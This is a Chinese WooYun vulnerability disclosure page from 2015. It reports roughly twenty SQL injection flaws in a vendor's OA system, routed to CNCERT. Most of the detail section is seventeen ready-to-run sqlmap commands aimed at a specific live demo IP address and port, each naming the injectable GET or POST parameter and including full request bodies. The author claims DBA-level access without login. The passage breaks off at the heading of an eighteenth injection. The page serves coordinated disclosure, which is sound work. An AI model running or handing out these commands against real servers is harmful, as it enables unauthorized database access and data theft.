当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0121216

漏洞标题：我要一网打尽某OA系统注入漏洞再来20处高危注入打包

相关厂商：国家互联网应急中心

漏洞作者： goubuli

提交时间：2015-06-18 10:32

修复时间：2015-09-21 08:46

公开时间：2015-09-21 08:46

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-18： 细节已通知厂商并且等待厂商处理中
2015-06-23： 厂商已经确认，细节仅向厂商公开
2015-06-26： 细节向第三方安全合作伙伴开放
2015-08-17： 细节向核心白帽子及相关领域专家公开
2015-08-27： 细节向普通白帽子公开
2015-09-06： 细节向实习白帽子公开
2015-09-21： 细节向公众公开

简要描述：

RT
两种类型：GET注入和POST注入打包一起发
应该没有注入了，被我挖干净了。。。(￣▽￣)"

详细说明：

又是这么多提交的好累。。。挖的也好累啊。。。

厂商:广州市名将软件开发有限公司
官网：http://oa.fg.net.cn/index.asp
官方演示demo：http://112.124.41.23:38888/
原址：http://oa.yf1668.com
demo测试，mssql注入，DBA权限。


给审核大神点个赞，这个漏洞审核太快了。。。 WooYun: 某OA系统20处高危注入打包（无需登录，DBA权限）
我这个还没提交完

main.png


不重复的注入漏洞：
注入一、

sqlmap.py -u "http://112.124.41.23:38888/CRM/MyCustomNeed.aspx" --dbms="mssql" --batch --dbs --data "__VIEWSTATE=%2FwEPDwUKLTg1OTA5MjgxMw9kFgJmD2QWBgIPDzwrAA0BAA8WBh4LXyFEYXRhQm91bmRnHglQYWdlQ291bnQCAR4LXyFJdGVtQ291bnQCAWQWAmYPZBYEAgEPD2QWBB4Lb25tb3VzZW92ZXIFQWM9dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I7dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9JyNFNEY0RkYnHgpvbm1vdXNlb3V0BR10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jOxYOZg9kFgICAQ8PFgIeBFRleHQFATFkZAIBD2QWAgIBDw8WAh4LTmF2aWdhdGVVcmwFEk5lZWRWaWV3LmFzcHg%2FSUQ9MWQWAmYPFQEDZGZnZAICDw8WAh8FBQUgZmdkZ2RkAgMPDxYCHwUFA2RmZ2RkAgQPDxYCHwUFA2RmZ2RkAgUPDxYCHwUFAmdkZGQCBg8PFgIfBQUCZGdkZAICDw8WAh4HVmlzaWJsZWhkZAIZDw8WAh8FBQExZGQCGw8PFgIfBQUBMWRkGAIFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYLBQxJbWFnZUJ1dHRvbjQFDEltYWdlQnV0dG9uMQUMSW1hZ2VCdXR0b241BQxJbWFnZUJ1dHRvbjMFDEltYWdlQnV0dG9uMgUYR1ZEYXRhJGN0bDAyJENoZWNrU2VsZWN0BQhCdG5GaXJzdAUGQnRuUHJlBQdCdG5OZXh0BQdCdG5MYXN0BQhCdXR0b25HbwUGR1ZEYXRhD2dkWJ6Yz2XAgQ9Jn1lsamNxEmQpQ0k%3D&DropDownList1=NeedContent&TextBox1=d&ImageButton4.x=26&ImageButton4.y=4&TxtPageSize=15&GoPage=1&__EVENTVALIDATION=%2FwEWGwKMtcioDwK%2FyLvNDgKihNChCgKBxq7sDgKEy5dZAunOtdMDAq%2BZ%2BoUHAue0yIgEAp3hof8OAr6Ar9sKAt2G%2FcIOAq2hhkICssrl0wIC7NGy6wYC0sL9mgQC0sKZ0wgC0sLpvwsC0sLBiQoC0sLV5AICo8yu9ggC7v%2Fd4Q8C1prZ5QMClenzjgoCkem3jwkCuu2%2BrgICpLLVlgUC%2Bo6i9wlkZxA1t7YKOtF1j%2FkICG43F3980Q%3D%3D" -p TextBox1
TextBox1存在POST注入


150617_16.png


注入二、

sqlmap.py -u "http://112.124.41.23:38888/CRM/MySongYang.aspx" --dbms="mssql" --batch --data "__VIEWSTATE=%2FwEPDwULLTE4ODMzODkwMDEPZBYCZg9kFgYCDw88KwANAQAPFgQeC18hRGF0YUJvdW5kZx4LXyFJdGVtQ291bnRmZGQCGQ8PFgIeBFRleHQFATFkZAIbDw8WAh8CBQEwZGQYAgUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgoFDEltYWdlQnV0dG9uNAUMSW1hZ2VCdXR0b24xBQxJbWFnZUJ1dHRvbjUFDEltYWdlQnV0dG9uMwUMSW1hZ2VCdXR0b24yBQhCdG5GaXJzdAUGQnRuUHJlBQdCdG5OZXh0BQdCdG5MYXN0BQhCdXR0b25HbwUGR1ZEYXRhD2dkBbkbM1eruLsMm1cFLMg0GiKcB6U%3D&DropDownList1=CustomName&TextBox1=a&ImageButton4.x=23&ImageButton4.y=8&TxtPageSize=15&GoPage=1&__EVENTVALIDATION=%2FwEWGAKZ2P%2F5DAK%2FyLvNDgKllePHCAKH%2F8WBDgLqvNPTDQLo5NPqAgLHrMH7DQKKpcrXCwKO6fqcCwKtoYZCArLK5dMCAuzRsusGAtLC%2FZoEAtLCmdMIAtLC6b8LAtLCwYkKAtLC1eQCAu7%2F3eEPAtaa2eUDApXp844KApHpt48JArrtvq4CAqSy1ZYFAvqOovcJ9ZVcIIV%2B9rWMysuGJpH3gjstVKI%3D" -p TextBox1
TextBox1存在POST注入


150617_18.png


注入三、

sqlmap.py -u "http://112.124.41.23:38888/CRM/MyCustomHate.aspx" --dbms="mssql" --batch --data "__VIEWSTATE=%2FwEPDwUKLTM5NzIxNjgwMQ9kFgJmD2QWBgIPDzwrAA0BAA8WBB4LXyFEYXRhQm91bmRnHgtfIUl0ZW1Db3VudGZkZAIZDw8WAh4EVGV4dAUBMWRkAhsPDxYCHwIFATBkZBgCBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WCgUMSW1hZ2VCdXR0b240BQxJbWFnZUJ1dHRvbjEFDEltYWdlQnV0dG9uNQUMSW1hZ2VCdXR0b24zBQxJbWFnZUJ1dHRvbjIFCEJ0bkZpcnN0BQZCdG5QcmUFB0J0bk5leHQFB0J0bkxhc3QFCEJ1dHRvbkdvBQZHVkRhdGEPZ2ThPqs2rydL4pxKWeqvpQcFMMq3Gg%3D%3D&DropDownList1=CustomName&TextBox1=a&ImageButton4.x=14&ImageButton4.y=3&TxtPageSize=15&GoPage=1&__EVENTVALIDATION=%2FwEWFQLk4ZnPCAK%2FyLvNDgKBsLzQCwLcgsVtAr3bqNwGAuydjIcPAq2hhkICssrl0wIC7NGy6wYC0sL9mgQC0sKZ0wgC0sLpvwsC0sLBiQoC0sLV5AIC7v%2Fd4Q8C1prZ5QMClenzjgoCkem3jwkCuu2%2BrgICpLLVlgUC%2Bo6i9wk7gHMuqX53jS4jILenuBfWIzb7eg%3D%3D" -p TextBox1
TextBox1存在POST注入


150617_20.png


注入四、

sqlmap.py -u "http://112.124.41.23:38888/CRM/MyCustomBack.aspx" --dbms="mssql" --batch --data "__VIEWSTATE=%2FwEPDwUKLTM5NzIxNjgwMQ9kFgJmD2QWBgIPDzwrAA0BAA8WBB4LXyFEYXRhQm91bmRnHgtfIUl0ZW1Db3VudGZkZAIZDw8WAh4EVGV4dAUBMWRkAhsPDxYCHwIFATBkZBgCBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WCgUMSW1hZ2VCdXR0b240BQxJbWFnZUJ1dHRvbjEFDEltYWdlQnV0dG9uNQUMSW1hZ2VCdXR0b24zBQxJbWFnZUJ1dHRvbjIFCEJ0bkZpcnN0BQZCdG5QcmUFB0J0bk5leHQFB0J0bkxhc3QFCEJ1dHRvbkdvBQZHVkRhdGEPZ2QMuetnJRHpNX%2BCRAJ5%2BxtTe9ANgQ%3D%3D&DropDownList1=CustomName&TextBox1=a&ImageButton4.x=22&ImageButton4.y=11&TxtPageSize=15&GoPage=1&__EVENTVALIDATION=%2FwEWFQL4r7rYCgK%2FyLvNDgLxkp2pBwLSzcTNDgL7tqfgBgLCzZjMDgKtoYZCArLK5dMCAuzRsusGAtLC%2FZoEAtLCmdMIAtLC6b8LAtLCwYkKAtLC1eQCAu7%2F3eEPAtaa2eUDApXp844KApHpt48JArrtvq4CAqSy1ZYFAvqOovcJVMjI%2FZGa2ooRTzgtCMPCWXjgxEA%3D" -p TextBox1
TextBox1存在POST注入


150617_22.png


注入五、

sqlmap.py -u "http://112.124.41.23:38888/Supply/BuyLog.aspx" --dbms="mssql" --batch --data "__VIEWSTATE=%2FwEPDwUKLTI1MTAzMzQzMg9kFgJmD2QWBgIMDzwrAA0BAA8WBh4LXyFEYXRhQm91bmRnHglQYWdlQ291bnQCAR4LXyFJdGVtQ291bnQCAmQWAmYPZBYGAgEPD2QWBB4Lb25tb3VzZW92ZXIFQWM9dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I7dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9JyNFNEY0RkYnHgpvbm1vdXNlb3V0BR10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jOxYSZg9kFgICAQ8PFgIeBFRleHQFATJkZAIBD2QWAgIBDw8WAh4LTmF2aWdhdGVVcmwFGEJ1eUNoYW5QaW5WaWV3LmFzcHg%2FSUQ9MmQWAmYPFQEG5Lq65Y%2BCZAICDw8WAh8FBQZkZmRmZGZkZAIDDw8WAh8FBQU0NS4wMGRkAgQPDxYCHwUFBTQ1LjAwZGQCBQ8PFgIfBQUHNDU0NS4wMGRkAgYPDxYCHwUFBTQ1LjAwZGQCBw8PFgIfBQUHNDU1NS4wMGRkAggPDxYCHwUFCeacquS6pOS7mGRkAgIPD2QWBB8DBUFjPXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yO3RoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPScjRTRGNEZGJx8EBR10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jOxYSZg9kFgICAQ8PFgIfBQUBMWRkAgEPZBYCAgEPDxYCHwYFGEJ1eUNoYW5QaW5WaWV3LmFzcHg%2FSUQ9MWQWAmYPFQEDc2RmZAICDw8WAh8FBQVzZGZzZGRkAgMPDxYCHwUFBTIxLjAwZGQCBA8PFgIfBQUFMTIuMDBkZAIFDw8WAh8FBQUxMi4wMGRkAgYPDxYCHwUFBTEyLjAwZGQCBw8PFgIfBQUFMTIuMDBkZAIIDw8WAh8FBQnmnKrkuqTku5hkZAIDDw8WAh4HVmlzaWJsZWhkZAIWDw8WAh8FBQExZGQCGA8PFgIfBQUBMWRkGAIFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYMBQxJbWFnZUJ1dHRvbjQFDEltYWdlQnV0dG9uMQUMSW1hZ2VCdXR0b241BQxJbWFnZUJ1dHRvbjMFDEltYWdlQnV0dG9uMgUYR1ZEYXRhJGN0bDAyJENoZWNrU2VsZWN0BRhHVkRhdGEkY3RsMDMkQ2hlY2tTZWxlY3QFCEJ0bkZpcnN0BQZCdG5QcmUFB0J0bk5leHQFB0J0bkxhc3QFCEJ1dHRvbkdvBQZHVkRhdGEPZ2Qc9wtPFis%2BzWutehswyKBxcS%2FFOA%3D%3D&TextBox1=a&ImageButton4.x=26&ImageButton4.y=7&TxtPageSize=15&GoPage=1&__EVENTVALIDATION=%2FwEWEAKHn9L8CgLs0bLrBgLSwv2aBALSwpnTCALSwum%2FCwLSwsGJCgLSwtXkAgKjzK72CAKjzNLWAgLu%2F93hDwLWmtnlAwKV6fOOCgKR6bePCQK67b6uAgKkstWWBQL6jqL3CRAs2InAwbiXBy5WDDjVCXekL7Jo" -p TextBox1
TextBox1存在POST注入


150617_24.png


注入六、

sqlmap.py -u "http://112.124.41.23:38888/Project/ShiShiRiZhi.aspx" --dbms="mssql" --batch --data "__VIEWSTATE=%2FwEPDwUJNjA5NDQ1Nzg5D2QWAmYPZBYGAgwPPCsADQEADxYEHgtfIURhdGFCb3VuZGceC18hSXRlbUNvdW50ZmRkAhYPDxYCHgRUZXh0BQExZGQCGA8PFgIfAgUBMGRkGAIFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYKBQxJbWFnZUJ1dHRvbjQFDEltYWdlQnV0dG9uMQUMSW1hZ2VCdXR0b241BQxJbWFnZUJ1dHRvbjMFDEltYWdlQnV0dG9uMgUIQnRuRmlyc3QFBkJ0blByZQUHQnRuTmV4dAUHQnRuTGFzdAUIQnV0dG9uR28FBkdWRGF0YQ9nZCHcz8kyvxhMS0bB96rUVgXWRwTO&TextBox1=abc&ImageButton4.x=19&ImageButton4.y=11&TxtPageSize=15&GoPage=1&__EVENTVALIDATION=%2FwEWDgKZ1qS9AQLs0bLrBgLSwv2aBALSwpnTCALSwum%2FCwLSwsGJCgLSwtXkAgLu%2F93hDwLWmtnlAwKV6fOOCgKR6bePCQK67b6uAgKkstWWBQL6jqL3CRSSXtGvMZJxYdVngKONF3%2Fkh199" -p TextBox1
TextBox1存在POST注入


150617_24.png


注入七、

sqlmap.py -u "http://112.124.41.23:38888/Project/ShouKuan.aspx?ProjectName=" --dbms="mssql" --batch --dbs
ProjectName注入


150617_30.png


注入八、

sqlmap.py -u "http://112.124.41.23:38888/Project/ShouKuan.aspx?ProjectName=" --dbms="mssql" --batch --dbs --data "__VIEWSTATE=%2FwEPDwUKLTI1MTAzMzQzMg9kFgJmD2QWBgIMDzwrAA0BAA8WBB4LXyFEYXRhQm91bmRnHgtfIUl0ZW1Db3VudGZkZAIWDw8WAh4EVGV4dAUBMWRkAhgPDxYCHwIFATBkZBgCBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WCgUMSW1hZ2VCdXR0b240BQxJbWFnZUJ1dHRvbjEFDEltYWdlQnV0dG9uNQUMSW1hZ2VCdXR0b24zBQxJbWFnZUJ1dHRvbjIFCEJ0bkZpcnN0BQZCdG5QcmUFB0J0bk5leHQFB0J0bkxhc3QFCEJ1dHRvbkdvBQZHVkRhdGEPZ2TWfrWXa7Z4Q5q4uAW%2FRDr6vRCFkg%3D%3D&TextBox1=abc&ImageButton4.x=31&ImageButton4.y=11&TxtPageSize=15&GoPage=1&__EVENTVALIDATION=%2FwEWDgK8lsXSDgLs0bLrBgLSwv2aBALSwpnTCALSwum%2FCwLSwsGJCgLSwtXkAgLu%2F93hDwLWmtnlAwKV6fOOCgKR6bePCQK67b6uAgKkstWWBQL6jqL3CQY1AT1VSwATlrGbpmZavKKaulyh" -p TextBox1
TextBox1存在POST注入


150617_31.png


注入九、

sqlmap.py -u "http://112.124.41.23:38888/Project/LiRuiGuanLi.aspx?ProjectName=" --dbms="mssql" --batch --dbs
ProjectName存在注入


150617_32.png


注入十、

sqlmap.py -u "http://112.124.41.23:38888/Project/LiRuiGuanLi.aspx?ProjectName=" --dbms="mssql" --batch --dbs --data "__VIEWSTATE=%2FwEPDwULLTExOTM1Mjc1NzYPZBYCZg9kFgYCDA88KwANAQAPFgQeC18hRGF0YUJvdW5kZx4LXyFJdGVtQ291bnRmZGQCFg8PFgIeBFRleHQFATFkZAIYDw8WAh8CBQEwZGQYAgUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgoFDEltYWdlQnV0dG9uNAUMSW1hZ2VCdXR0b24xBQxJbWFnZUJ1dHRvbjUFDEltYWdlQnV0dG9uMwUMSW1hZ2VCdXR0b24yBQhCdG5GaXJzdAUGQnRuUHJlBQdCdG5OZXh0BQdCdG5MYXN0BQhCdXR0b25HbwUGR1ZEYXRhD2dkJjBlmE6L8Xs%2FINq88smT0psJeSk%3D&TextBox1=abc&ImageButton4.x=30&ImageButton4.y=7&TxtPageSize=15&GoPage=1&__EVENTVALIDATION=%2FwEWDgKjlre5BALs0bLrBgLSwv2aBALSwpnTCALSwum%2FCwLSwsGJCgLSwtXkAgLu%2F93hDwLWmtnlAwKV6fOOCgKR6bePCQK67b6uAgKkstWWBQL6jqL3Cbx%2BgsItWEB2Ut1NImQ7DCLeN0xP" -p TextBox1
TextBox1存在POST注入


150617_33.png


注入十一、

sqlmap.py -u "http://112.124.41.23:38888/Project/ProjectJinDu.aspx" --dbms="mssql" --data "__VIEWSTATE=%2FwEPDwUKMTM5MzE2MTU5Mg9kFgJmD2QWBgIMDzwrAA0BAA8WBB4LXyFEYXRhQm91bmRnHgtfIUl0ZW1Db3VudGZkZAIWDw8WAh4EVGV4dAUBMWRkAhgPDxYCHwIFATBkZBgCBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WCgUMSW1hZ2VCdXR0b240BQxJbWFnZUJ1dHRvbjEFDEltYWdlQnV0dG9uNQUMSW1hZ2VCdXR0b24zBQxJbWFnZUJ1dHRvbjIFCEJ0bkZpcnN0BQZCdG5QcmUFB0J0bk5leHQFB0J0bkxhc3QFCEJ1dHRvbkdvBQZHVkRhdGEPZ2RMkeNiL4fyySar6FjKQtmkxWtf8A%3D%3D&TextBox1=11&ImageButton4.x=25&ImageButton4.y=9&TxtPageSize=15&GoPage=1&__EVENTVALIDATION=%2FwEWDgLU8sK%2FBALs0bLrBgLSwv2aBALSwpnTCALSwum%2FCwLSwsGJCgLSwtXkAgLu%2F93hDwLWmtnlAwKV6fOOCgKR6bePCQK67b6uAgKkstWWBQL6jqL3Cd%2BcuY%2BBUJ%2B0TUV9VWVKrnpFqh8Y" -p TextBox1
TextBox1存在POST注入


150617_34.png


注入十二、

sqlmap.py -u "http://112.124.41.23:38888/Sell/SellLog.aspx?HeTongName=" --dbms="mssql"
HeTongName存在注入


150617_35.png


注入十三、

sqlmap.py -u "http://112.124.41.23:38888/Sell/SellLog.aspx?HeTongName=" --dbms="mssql" --batch --data "__VIEWSTATE=%2FwEPDwUKLTI1MTAzMzQzMg9kFgJmD2QWBgIMDzwrAA0BAA8WBh4LXyFEYXRhQm91bmRnHglQYWdlQ291bnQCAR4LXyFJdGVtQ291bnQCAmQWAmYPZBYGAgEPD2QWBB4Lb25tb3VzZW92ZXIFQWM9dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I7dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9JyNFNEY0RkYnHgpvbm1vdXNlb3V0BR10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jOxYSZg9kFgICAQ8PFgIeBFRleHQFATJkZAIBD2QWAgIBDw8WAh4LTmF2aWdhdGVVcmwFHUNvbnRyYWN0Q2hhblBpblZpZXcuYXNweD9JRD0yZBYCZg8VAQvoh6rooYzou4piMWQCAg8PFgIfBQUY5buj5bee6LuK6KGMMSAyMDEzLjExLjE0ZGQCAw8PFgIfBQUGNDAwLjAwZGQCBA8PFgIfBQUENS4wMGRkAgUPDxYCHwUFBzIwMDAuMDBkZAIGDw8WAh8FBQcxNTAwLjAwZGQCBw8PFgIfBQUGNTAwLjAwZGQCCA8PFgIfBQUJ5bey5Lqk5LuYZGQCAg8PZBYEHwMFQWM9dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I7dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9JyNFNEY0RkYnHwQFHXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPWM7FhJmD2QWAgIBDw8WAh8FBQExZGQCAQ9kFgICAQ8PFgIfBgUdQ29udHJhY3RDaGFuUGluVmlldy5hc3B4P0lEPTFkFgJmDxUBATFkAgIPDxYCHwUFBumHh%2Bi0rWRkAgMPDxYCHwUFBTE1LjAwZGQCBA8PFgIfBQUGNTAwLjAwZGQCBQ8PFgIfBQUHNzUwMC4wMGRkAgYPDxYCHwUFBzc1MDAuMDBkZAIHDw8WAh8FBQQwLjAwZGQCCA8PFgIfBQUJ5bey5Lqk5LuYZGQCAw8PFgIeB1Zpc2libGVoZGQCFg8PFgIfBQUBMWRkAhgPDxYCHwUFATFkZBgCBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WDAUMSW1hZ2VCdXR0b240BQxJbWFnZUJ1dHRvbjEFDEltYWdlQnV0dG9uNQUMSW1hZ2VCdXR0b24zBQxJbWFnZUJ1dHRvbjIFGEdWRGF0YSRjdGwwMiRDaGVja1NlbGVjdAUYR1ZEYXRhJGN0bDAzJENoZWNrU2VsZWN0BQhCdG5GaXJzdAUGQnRuUHJlBQdCdG5OZXh0BQdCdG5MYXN0BQhCdXR0b25HbwUGR1ZEYXRhD2dkYy%2F1cZAgrUo079zthVbF%2FJlIshA%3D&TextBox1=1&ImageButton4.x=26&ImageButton4.y=4&TxtPageSize=15&GoPage=1&__EVENTVALIDATION=%2FwEWEALiitv6CgLs0bLrBgLSwv2aBALSwpnTCALSwum%2FCwLSwsGJCgLSwtXkAgKjzK72CAKjzNLWAgLu%2F93hDwLWmtnlAwKV6fOOCgKR6bePCQK67b6uAgKkstWWBQL6jqL3CbFmNj2RdRLlmhie89lDYFzXBRwA" -p TextBox1
TextBox1存在POST注入


150617_36.png


注入十四、

sqlmap.py -u "http://112.124.41.23:38888/Supply/SupplysLink.aspx?GongYingShang=" --dbms="mssql"
GongYingShang存在注入


150617_37.png


注入十五、

sqlmap.py -u "http://112.124.41.23:38888/Supply/SupplysLink.aspx" --dbms="mssql" --data "__VIEWSTATE=%2FwEPDwUKLTI1MTAzMzQzMg9kFgJmD2QWBgIMDzwrAA0BAA8WBh4LXyFEYXRhQm91bmRnHglQYWdlQ291bnQCAR4LXyFJdGVtQ291bnQCAWQWAmYPZBYEAgEPD2QWBB4Lb25tb3VzZW92ZXIFQWM9dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I7dGhpcy5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9JyNFNEY0RkYnHgpvbm1vdXNlb3V0BR10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jOxYSZg9kFgICAQ8PFgIeBFRleHQFATFkZAIBD2QWAgIBDw8WAh4LTmF2aWdhdGVVcmwFGFN1cHBseUxpbmtWaWV3LmFzcHg%2FSUQ9MWQWAmYPFQEDc2RmZAICDw8WAh8FBQZkc2Zkc2ZkZAIDDw8WAh8FBQNzZGZkZAIEDw8WAh8FBQPnlLdkZAIFDw8WAh8FBQnmlq%2FokoLoiqxkZAIGDw8WAh8FBQY2NDY0NTZkZAIHDw8WAh8FBQM0NTZkZAIIDw8WAh8FBQM0NTZkZAICDw8WAh4HVmlzaWJsZWhkZAIWDw8WAh8FBQExZGQCGA8PFgIfBQUBMWRkGAIFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYLBQxJbWFnZUJ1dHRvbjQFDEltYWdlQnV0dG9uMQUMSW1hZ2VCdXR0b241BQxJbWFnZUJ1dHRvbjMFDEltYWdlQnV0dG9uMgUYR1ZEYXRhJGN0bDAyJENoZWNrU2VsZWN0BQhCdG5GaXJzdAUGQnRuUHJlBQdCdG5OZXh0BQdCdG5MYXN0BQhCdXR0b25HbwUGR1ZEYXRhD2dkI6DHR6wwLdTi6NFydX%2Bn%2F1dxUDc%3D&TextBox1=ASD&ImageButton4.x=36&ImageButton4.y=4&TxtPageSize=15&GoPage=1&__EVENTVALIDATION=%2FwEWDwLdsLmiDQLs0bLrBgLSwv2aBALSwpnTCALSwum%2FCwLSwsGJCgLSwtXkAgKjzK72CALu%2F93hDwLWmtnlAwKV6fOOCgKR6bePCQK67b6uAgKkstWWBQL6jqL3CUix3ea0%2FVLYbWVfqNDYfRbSQYqU" -p TextBox1
TextBox1存在POST注入


150617_38.png


注入十六、

sqlmap.py -u "http://112.124.41.23:38888/Supply/BuyOrder.aspx" --dbms="mssql" --data "__VIEWSTATE=%2FwEPDwUJNjA5NDQ1Nzg5D2QWAmYPZBYGAgwPPCsADQEADxYGHgtfIURhdGFCb3VuZGceCVBhZ2VDb3VudAIBHgtfIUl0ZW1Db3VudAIBZBYCZg9kFgQCAQ8PZBYEHgtvbm1vdXNlb3ZlcgVBYz10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcjt0aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj0nI0U0RjRGRiceCm9ubW91c2VvdXQFHXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPWM7FhBmD2QWAgIBDw8WAh4EVGV4dAUBMWRkAgEPZBYCAgEPDxYCHgtOYXZpZ2F0ZVVybAUWQnV5T3JkZXJWaWV3LmFzcHg%2FSUQ9MWQWAmYPFQEGZGZkZmRmZAICDw8WAh8FBQVzZGZzZmRkAgMPDxYCHwUFA3NkZmRkAgQPDxYCHwUFDOW5v%2BW3nuiHtOS%2FoWRkAgUPDxYCHwUFBWFkbWluZGQCBg8PFgIfBQUQMjAxMC0xLTEgMDowMDowMGRkAgcPDxYCHwUFDOetieW%2BheWuoeaguGRkAgIPDxYCHgdWaXNpYmxlaGRkAhYPDxYCHwUFATFkZAIYDw8WAh8FBQExZGQYAgUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgsFDEltYWdlQnV0dG9uNAUMSW1hZ2VCdXR0b24xBQxJbWFnZUJ1dHRvbjUFDEltYWdlQnV0dG9uMwUMSW1hZ2VCdXR0b24yBRhHVkRhdGEkY3RsMDIkQ2hlY2tTZWxlY3QFCEJ0bkZpcnN0BQZCdG5QcmUFB0J0bk5leHQFB0J0bkxhc3QFCEJ1dHRvbkdvBQZHVkRhdGEPZ2TXut0IcMwlZoFtT3iDkc6VPhYrTA%3D%3D&TextBox1=df&ImageButton4.x=22&ImageButton4.y=6&TxtPageSize=15&GoPage=1&__EVENTVALIDATION=%2FwEWDwKVhsOBCgLs0bLrBgLSwv2aBALSwpnTCALSwum%2FCwLSwsGJCgLSwtXkAgKjzK72CALu%2F93hDwLWmtnlAwKV6fOOCgKR6bePCQK67b6uAgKkstWWBQL6jqL3CZ%2F3Zt3e%2FITPYlHuDKMUU4kWebgQ" -p TextBox1
TextBox1存在POST注入


150617_39.png


注入十七、

sqlmap.py -u "http://112.124.41.23:38888/Supply/Supplys.aspx" --dbms="mssql" --data "__VIEWSTATE=%2FwEPDwUJNjA5NDQ1Nzg5D2QWAmYPZBYGAgwPPCsADQEADxYGHgtfIURhdGFCb3VuZGceCVBhZ2VDb3VudAIBHgtfIUl0ZW1Db3VudAICZBYCZg9kFgYCAQ8PZBYEHgtvbm1vdXNlb3ZlcgVBYz10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcjt0aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj0nI0U0RjRGRiceCm9ubW91c2VvdXQFHXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPWM7FhBmD2QWAgIBDw8WAh4EVGV4dAUBMmRkAgEPZBYCAgEPDxYCHgtOYXZpZ2F0ZVVybAUVU3VwcGx5c1ZpZXcuYXNweD9JRD0yZBYCZg8VAQZzZGZzZGZkAgIPDxYCHwUFBXNkZnNmZGQCAw8PFgIfBQUFc2Rmc2ZkZAIEDw8WAh8FBQQ0NTY1ZGQCBQ8PFgIfBQUENDU2NGRkAgYPDxYCHwUFAzU0NmRkAgcPDxYCHwUFAzQ1NmRkAgIPD2QWBB8DBUFjPXRoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yO3RoaXMuc3R5bGUuYmFja2dyb3VuZENvbG9yPScjRTRGNEZGJx8EBR10aGlzLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jOxYQZg9kFgICAQ8PFgIfBQUBMWRkAgEPZBYCAgEPDxYCHwYFFVN1cHBseXNWaWV3LmFzcHg%2FSUQ9MWQWAmYPFQEM5bm%2F5bee6Ie05L%2BhZAICDw8WAh8FBQcwMjAwMDAxZGQCAw8PFgIfBQUGJm5ic3A7ZGQCBA8PFgIfBQUGJm5ic3A7ZGQCBQ8PFgIfBQUGJm5ic3A7ZGQCBg8PFgIfBQUGJm5ic3A7ZGQCBw8PFgIfBQUGJm5ic3A7ZGQCAw8PFgIeB1Zpc2libGVoZGQCFg8PFgIfBQUBMWRkAhgPDxYCHwUFATFkZBgCBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WDAUMSW1hZ2VCdXR0b240BQxJbWFnZUJ1dHRvbjEFDEltYWdlQnV0dG9uNQUMSW1hZ2VCdXR0b24zBQxJbWFnZUJ1dHRvbjIFGEdWRGF0YSRjdGwwMiRDaGVja1NlbGVjdAUYR1ZEYXRhJGN0bDAzJENoZWNrU2VsZWN0BQhCdG5GaXJzdAUGQnRuUHJlBQdCdG5OZXh0BQdCdG5MYXN0BQhCdXR0b25HbwUGR1ZEYXRhD2dksAiQ8uwZGJQ3OSNmVyIgDb8hyU0%3D&TextBox1=sdf&ImageButton4.x=23&ImageButton4.y=5&TxtPageSize=15&GoPage=1&__EVENTVALIDATION=%2FwEWEAKHp4CLAwLs0bLrBgLSwv2aBALSwpnTCALSwum%2FCwLSwsGJCgLSwtXkAgKjzK72CAKjzNLWAgLu%2F93hDwLWmtnlAwKV6fOOCgKR6bePCQK67b6uAgKkstWWBQL6jqL3CVC9mLjd61k9IXwsoe8r75K0c3hm" -p TextBox1
TextBox1存在POST注入


150617_40.png


注入十八、

